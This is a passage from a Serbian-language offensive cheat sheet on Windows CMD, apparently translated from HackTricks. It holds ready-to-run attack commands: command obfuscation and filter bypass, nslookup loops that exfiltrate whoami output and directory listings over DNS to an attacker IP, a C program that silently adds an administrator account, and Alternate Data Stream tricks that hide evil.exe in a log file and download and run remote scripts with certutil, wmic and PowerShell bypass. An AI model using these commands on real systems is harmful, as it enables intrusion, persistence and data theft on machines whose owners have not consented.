  3. Koristite Unicode reprezentaciju: Umesto zabranjenih karaktera, možete koristiti njihovu Unicode reprezentaciju. Na primer, umesto slova "b" možete koristiti "\u0062".
  4. Koristite escape sekvence: Umesto zabranjenih karaktera, možete koristiti escape sekvence. Na primer, umesto znaka za novi red "\n" možete koristiti "\r\n".
  5. Koristite konkatenaciju: Umesto zabranjenih karaktera, možete koristiti konkatenaciju više dozvoljenih karaktera kako biste dobili željeni rezultat. Na primer, umesto karaktera "e" možete koristiti "ex" ili "ee".

Korišćenjem ovih tehnika, možete zaobići zabranu korišćenja određenih karaktera i uspešno izvršiti komande.

echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami

DOSfuscation

Generiše obfuskiranu CMD liniju

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding

ACL-ovi adresa za slušanje

Možete slušati na http://+:80/Temporary_Listen_Addresses/ bez potrebe za administratorskim pravima.

netsh http show urlacl

Ručni DNS shell

Napadač (Kali) mora koristiti jednu od ove 2 opcije:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Žrtva

Tehnika for /f tokens: Ovo nam omogućava da izvršimo komande, dobijemo prvih X reči svake linije i pošaljemo ih preko DNS-a na naš server.

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

Takođe možete preusmeriti izlaz, a zatim ga pročitati.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Pozivanje CMD-a iz C koda

Da biste pozvali CMD (Command Prompt) iz C koda, možete koristiti funkciju system(). Ova funkcija omogućava izvršavanje CMD komandi iz C programa.

Evo jednostavnog primera kako koristiti system() funkciju:

#include <stdlib.h>

int main() {
    system("cmd /c <komanda>");
    return 0;
}

U ovom primeru, <komanda> treba zameniti sa željenom CMD komandom koju želite da izvršite. Na primer, ako želite da izvršite komandu ipconfig, vaš kod bi izgledao ovako:

#include <stdlib.h>

int main() {
    system("cmd /c ipconfig");
    return 0;
}

Kada pokrenete ovaj program, CMD će biti pozvan i izvršiće se komanda ipconfig. Možete koristiti bilo koju drugu CMD komandu na isti način.

Važno je napomenuti da korišćenje system() funkcije može predstavljati sigurnosni rizik, posebno ako se korisnički unos direktno prosleđuje kao argument komande. Uvek budite oprezni prilikom rukovanja korisničkim unosima kako biste izbegli potencijalne ranjivosti.

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}

Шпараланка за алтернативне податковне токове (ADS/Alternate Data Stream)

Примери преузети са https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. Има и много других!

## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!